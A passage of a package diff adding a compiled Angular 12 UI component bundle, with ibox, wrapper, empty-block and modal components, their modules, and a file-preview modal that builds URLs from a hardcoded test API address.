+
}] });
|
242
|
+
|
243
|
+
class IboxContentComponent {
|
244
|
+
constructor() {
|
245
|
+
this.style = {};
|
246
|
+
}
|
247
|
+
ngOnInit() {
|
248
|
+
if (this.height) {
|
249
|
+
this.style = { height: this.height + 'px' };
|
250
|
+
}
|
251
|
+
}
|
252
|
+
}
|
253
|
+
IboxContentComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
254
|
+
IboxContentComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxContentComponent, selector: "wll-ibox-content", inputs: { height: "height" }, ngImport: i0, template: "<div class=\"ibox-content\" [ngStyle]=\"style\">\n <div class=\"row\">\n <div class=\"col-sm-12\">\n <ng-content></ng-content>\n </div>\n </div>\n</div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
|
255
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, decorators: [{
|
256
|
+
type: Component,
|
257
|
+
args: [{
|
258
|
+
selector: 'wll-ibox-content',
|
259
|
+
templateUrl: 'ibox-content.component.html'
|
260
|
+
}]
|
261
|
+
}], propDecorators: { height: [{
|
262
|
+
type: Input
|
263
|
+
}] } });
|
264
|
+
|
265
|
+
class IboxTitleComponent {
|
266
|
+
}
|
267
|
+
IboxTitleComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
268
|
+
IboxTitleComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxTitleComponent, selector: "wll-ibox-title", ngImport: i0, template: "<div class=\"ibox-title\">\n <h5>\n <ng-content></ng-content>\n </h5>\n</div>\n" });
|
269
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, decorators: [{
|
270
|
+
type: Component,
|
271
|
+
args: [{
|
272
|
+
selector: 'wll-ibox-title',
|
273
|
+
templateUrl: 'ibox-title.component.html'
|
274
|
+
}]
|
275
|
+
}] });
|
276
|
+
|
277
|
+
class IboxComponent {
|
278
|
+
constructor() {
|
279
|
+
this.boxClass = {};
|
280
|
+
}
|
281
|
+
}
|
282
|
+
IboxComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
283
|
+
IboxComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxComponent, selector: "wll-ibox", inputs: { boxClass: "boxClass" }, ngImport: i0, template: "<div class=\"row\">\n <div class=\"col-12\">\n <div class=\"ibox float-e-margins\" [ngClass]=\"boxClass\">\n <ng-content></ng-content>\n </div>\n </div>\n</div>\n", directives: [{ type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
|
284
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, decorators: [{
|
285
|
+
type: Component,
|
286
|
+
args: [{
|
287
|
+
selector: 'wll-ibox',
|
288
|
+
templateUrl: 'ibox.component.html'
|
289
|
+
}]
|
290
|
+
}], propDecorators: { boxClass: [{
|
291
|
+
type: Input
|
292
|
+
}] } });
|
293
|
+
|
294
|
+
class WrapperComponent {
|
295
|
+
}
|
296
|
+
WrapperComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
297
|
+
WrapperComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WrapperComponent, selector: "wll-wrapper", ngImport: i0, template: "<div class=\"wrapper wrapper-content animated fadeIn\">\n <ng-content></ng-content>\n</div>\n" });
|
298
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, decorators: [{
|
299
|
+
type: Component,
|
300
|
+
args: [{
|
301
|
+
selector: 'wll-wrapper',
|
302
|
+
templateUrl: 'wrapper.component.html'
|
303
|
+
}]
|
304
|
+
}] });
|
305
|
+
|
306
|
+
class WlLayoutModule {
|
307
|
+
}
|
308
|
+
WlLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
309
|
+
WlLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, declarations: [IboxComponent,
|
310
|
+
IboxContentComponent,
|
311
|
+
IboxTitleComponent,
|
312
|
+
WrapperComponent], imports: [CommonModule,
|
313
|
+
TranslateModule,
|
314
|
+
RouterModule], exports: [IboxComponent,
|
315
|
+
IboxContentComponent,
|
316
|
+
IboxTitleComponent,
|
317
|
+
WrapperComponent] });
|
318
|
+
WlLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, imports: [[
|
319
|
+
CommonModule,
|
320
|
+
TranslateModule,
|
321
|
+
RouterModule
|
322
|
+
]] });
|
323
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, decorators: [{
|
324
|
+
type: NgModule,
|
325
|
+
args: [{
|
326
|
+
declarations: [
|
327
|
+
IboxComponent,
|
328
|
+
IboxContentComponent,
|
329
|
+
IboxTitleComponent,
|
330
|
+
WrapperComponent
|
331
|
+
],
|
332
|
+
imports: [
|
333
|
+
CommonModule,
|
334
|
+
TranslateModule,
|
335
|
+
RouterModule
|
336
|
+
],
|
337
|
+
exports: [
|
338
|
+
IboxComponent,
|
339
|
+
IboxContentComponent,
|
340
|
+
IboxTitleComponent,
|
341
|
+
WrapperComponent
|
342
|
+
]
|
343
|
+
}]
|
344
|
+
}] });
|
345
|
+
|
346
|
+
class WlEmptyBlockComponent {
|
347
|
+
constructor() {
|
348
|
+
this.region = "";
|
349
|
+
this.height = 0;
|
350
|
+
}
|
351
|
+
ngOnInit() {
|
352
|
+
if (this.region === 'upper') {
|
353
|
+
this.height = 60;
|
354
|
+
}
|
355
|
+
if (this.region === 'lower') {
|
356
|
+
this.height = 81;
|
357
|
+
}
|
358
|
+
}
|
359
|
+
}
|
360
|
+
WlEmptyBlockComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
361
|
+
WlEmptyBlockComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlEmptyBlockComponent, selector: "wll-empty-block", inputs: { region: "region" }, ngImport: i0, template: "<div class=\"empty-block\" [ngStyle]=\"{ 'height.px': height?.toString() }\"></div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
|
362
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, decorators: [{
|
363
|
+
type: Component,
|
364
|
+
args: [{
|
365
|
+
selector: 'wll-empty-block',
|
366
|
+
templateUrl: 'wl-empty-block.component.html'
|
367
|
+
}]
|
368
|
+
}], propDecorators: { region: [{
|
369
|
+
type: Input
|
370
|
+
}] } });
|
371
|
+
|
372
|
+
class WlEmptyBlockModule {
|
373
|
+
}
|
374
|
+
WlEmptyBlockModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
375
|
+
WlEmptyBlockModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, declarations: [WlEmptyBlockComponent], imports: [CommonModule,
|
376
|
+
TranslateModule,
|
377
|
+
RouterModule], exports: [WlEmptyBlockComponent] });
|
378
|
+
WlEmptyBlockModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, imports: [[
|
379
|
+
CommonModule,
|
380
|
+
TranslateModule,
|
381
|
+
RouterModule
|
382
|
+
]] });
|
383
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, decorators: [{
|
384
|
+
type: NgModule,
|
385
|
+
args: [{
|
386
|
+
declarations: [
|
387
|
+
WlEmptyBlockComponent
|
388
|
+
],
|
389
|
+
imports: [
|
390
|
+
CommonModule,
|
391
|
+
TranslateModule,
|
392
|
+
RouterModule
|
393
|
+
],
|
394
|
+
exports: [
|
395
|
+
WlEmptyBlockComponent
|
396
|
+
]
|
397
|
+
}]
|
398
|
+
}] });
|
399
|
+
|
400
|
+
class ReusableModalComponent {
|
401
|
+
constructor(translate) {
|
402
|
+
this.translate = translate;
|
403
|
+
this.modalTitle = 'Modal dialog';
|
404
|
+
this.faIconClasses = null;
|
405
|
+
this.hasCloseBtn = true;
|
406
|
+
// eslint-disable-next-line @angular-eslint/no-output-on-prefix
|
407
|
+
this.onClose = new EventEmitter();
|
408
|
+
}
|
409
|
+
ngOnInit() {
|
410
|
+
this.modalTitle = this.translate.transSafe(this.modalTitle);
|
411
|
+
}
|
412
|
+
onCloseClick() {
|
413
|
+
this.onClose.emit(true);
|
414
|
+
}
|
415
|
+
}
|
416
|
+
ReusableModalComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, deps: [{ token: i1$1.TranslationService }], target: i0.ɵɵFactoryTarget.Component });
|
417
|
+
ReusableModalComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: { modalTitle: "modalTitle", faIconClasses: "faIconClasses", hasCloseBtn: "hasCloseBtn" }, outputs: { onClose: "onClose" }, ngImport: i0, template: "<div class=\"modal-content\">\n <div class=\"modal-header\">\n <button *ngIf=\"hasCloseBtn !== false\" (click)=\"onCloseClick()\" class=\"close\">\n <span aria-hidden=\"true\">×</span>\n </button>\n <h4 class=\"modal-title\">\n <em *ngIf=\"faIconClasses\" [ngClass]=\"'fa ' + faIconClasses\" aria-hidden=\"true\"></em>\n <span *ngIf=\"faIconClasses\" class=\"modal-title-text\">{{ modalTitle }}</span>\n <span *ngIf=\"!faIconClasses\" class=\"modal-title-text-no-icon\">{{ modalTitle }}</span>\n </h4>\n </div>\n <div class=\"modal-body\">\n <ng-content select=\"[modal-section=body]\"></ng-content>\n </div>\n <div class=\"modal-footer\">\n <ng-content select=\"[modal-section=footer]\"></ng-content>\n </div>\n</div>\n", styles: [".modal-header{padding:8px 15px;background-color:#fff;color:#777}.modal-header em{display:inline-block;padding-right:5px}.modal-header .close{outline:none;margin-top:-9px}.modal-title-text{position:relative;top:-5px;left:5px}.modal-title-text-no-icon{font-size:16px}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
|
418
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, decorators: [{
|
419
|
+
type: Component,
|
420
|
+
args: [{
|
421
|
+
selector: 'wll-reusable-modal',
|
422
|
+
templateUrl: 'reusable-modal.component.html',
|
423
|
+
styleUrls: ['reusable-modal.component.scss']
|
424
|
+
}]
|
425
|
+
}], ctorParameters: function () { return [{ type: i1$1.TranslationService }]; }, propDecorators: { modalTitle: [{
|
426
|
+
type: Input
|
427
|
+
}], faIconClasses: [{
|
428
|
+
type: Input
|
429
|
+
}], hasCloseBtn: [{
|
430
|
+
type: Input
|
431
|
+
}], onClose: [{
|
432
|
+
type: Output
|
433
|
+
}] } });
|
434
|
+
|
435
|
+
// TODO: Fix environment
|
436
|
+
const environment = {
|
437
|
+
apiUrl: "https://simprouat.wirelesslogic.com/v5/api/"
|
438
|
+
};
|
439
|
+
class WllModalFilePreviewComponent {
|
440
|
+
constructor(activeModal) {
|
441
|
+
this.activeModal = activeModal;
|
442
|
+
this.url = '';
|
443
|
+
}
|
444
|
+
ngOnInit() {
|
445
|
+
this.url = environment.apiUrl + this.filePath;
|
446
|
+
}
|
447
|
+
}
|
448
|
+
WllModalFilePreviewComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, deps: [{ token: i1$2.NgbActiveModal }], target: i0.ɵɵFactoryTarget.Component });
|
449
|
+
WllModalFilePreviewComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WllModalFilePreviewComponent, selector: "wll-modal-file-preview.module.ts", inputs: { filePath: "filePath" }, ngImport: i0, template: "<wll-reusable-modal\n [modalTitle]=\"'GUIBundle.generic.image_preview' | translate\"\n faIconClasses=\"fa-info-circle fa-2x\"\n (onClose)=\"activeModal.dismiss('Close click')\"\n>\n <div modal-section=\"body\">\n<!-- <img class=\"image\" [src]=\"url | secure | async\" alt=\"WL\" />-->\n </div>\n <div modal-section=\"footer\">\n <button (click)=\"activeModal.dismiss('Close click')\" class=\"btn btn-primary\">{{ \"GUIBundle.generic.cancel\" | translate }}</button>\n </div>\n</wll-reusable-modal>\n", styles: [".image{max-width:100%}\n"], components: [{ type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: ["modalTitle", "faIconClasses", "hasCloseBtn"], outputs: ["onClose"] }], pipes: { "translate": i2$1.TranslatePipe } });
|
450
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, decorators: [{
|
451
|
+
type: Component,
|
452
|
+
args: [{
|
453
|
+
selector: 'wll-modal-file-preview.module.ts',
|
454
|
+
templateUrl: 'wll-modal-file-preview.component.html',
|
455
|
+
styleUrls: ['wll-modal-file-preview.component.scss']
|
456
|
+
}]
|
457
|
+
}], ctorParameters: function () { return [{ type: i1$2.NgbActiveModal }]; }, propDecorators: { filePath: [{
|
458
|
+
type: Input
|
459
|
+
}] } });
|
460
|
+
|
461
|
+
class WlReusableModalModule {
|
462
|
+
}
|
463
|
+
WlReusableModalModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
464
|
+
WlReusableModalModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, declarations: [ReusableModalComponent], imports: [CommonModule,
|
465
|
+
TranslateModule,
|
466
|
+
RouterModule], exports: [ReusableModalComponent] });
|
467
|
+
WlReusableModalModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, imports: [[
|
468
|
+
CommonModule,
|
469
|
+
TranslateModule,
|
470
|
+
RouterModule
|
471
|
+
]] });
|
472
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, decorators: [{
|
473
|
+
type: NgModule,
|
474
|
+
args: [{
|
475
|
+
declarations: [
|
476
|
+
ReusableModalComponent
|
477
|
+
],
|
478
|
+
imports: [
|
479
|
+
CommonModule,
|
480
|
+
TranslateModule,
|
481
|
+
RouterModule
|
482
|
+
],
|
483
|
+
exports: [
|
484
|
+
ReusableModalComponent
|
485
|
+
]
|
486
|
+
}]
|
487
|
+
}] });
|
488
|
+
|
489
|
+
class WllModalFilePreviewModule {
|
490
|
+
}
|
491
|
+
WllModalFilePreviewModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
492
|
+
WllModalFilePreviewModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, declarations: [WllModalFilePreviewComponent], imports: [CommonModule,
|
493
|
+
TranslateModule,
|
494
|
+
RouterModule,
|
495
|
+
WlReusableModalModule], exports: [WllModalFilePreviewComponent] });
|
496
|
+
WllModalFilePreviewModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, imports: [[
|
497
|
+
CommonModule,
|
498
|
+
TranslateModule,
|
499
|
+
RouterModule,
|
500
|
+
WlReusableModalModule,
|
501
|
+
]] });
|
502
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, decorators: [{
|
503
|
+
type: NgModule,
|
504
|
+
args: [{
|
505
|
+
declarations: [
|
506
|
+
WllModalFilePreviewComponent
|
507
|
+
],
|
508
|
+
imports: [
|
509
|
+
CommonModule,
|
510
|
+
TranslateModule,
|
511
|
+
RouterModule,
|
512
|
+
WlReusableModalModule,
|
513
|
+
],
|
514
|
+
exports: [
|
515
|
+
WllModalFilePreviewComponent
|
516
|
+
]
|
517
|
+
}]
|
518
|
+
}] });
|
519
|
+
|
520
|
+
/**
|
521
|
+
* Generated bundle index. Do not edit.
|
522
|
+
*/
|
523
|
+
|
524
|
+
export { ActionButtonBarComponent, ActionButtonComponent, BackButtonComponent, BreadcrumbsComponent, DataListComponent, DataSectionComponent, IboxComponent, IboxContentComponent, IboxTitleComponent, ReusableModalComponent, WlBreadcrumbsModule, WlButtonModule, WlDataLayoutModule, WlEmptyBlockComponent, WlEmptyBlockModule, WlLayoutModule, WlReusableModalModule, WllModalFilePreviewComponent, WllModalFilePreviewModule, WrapperComponent };
|
package/package.json
ADDED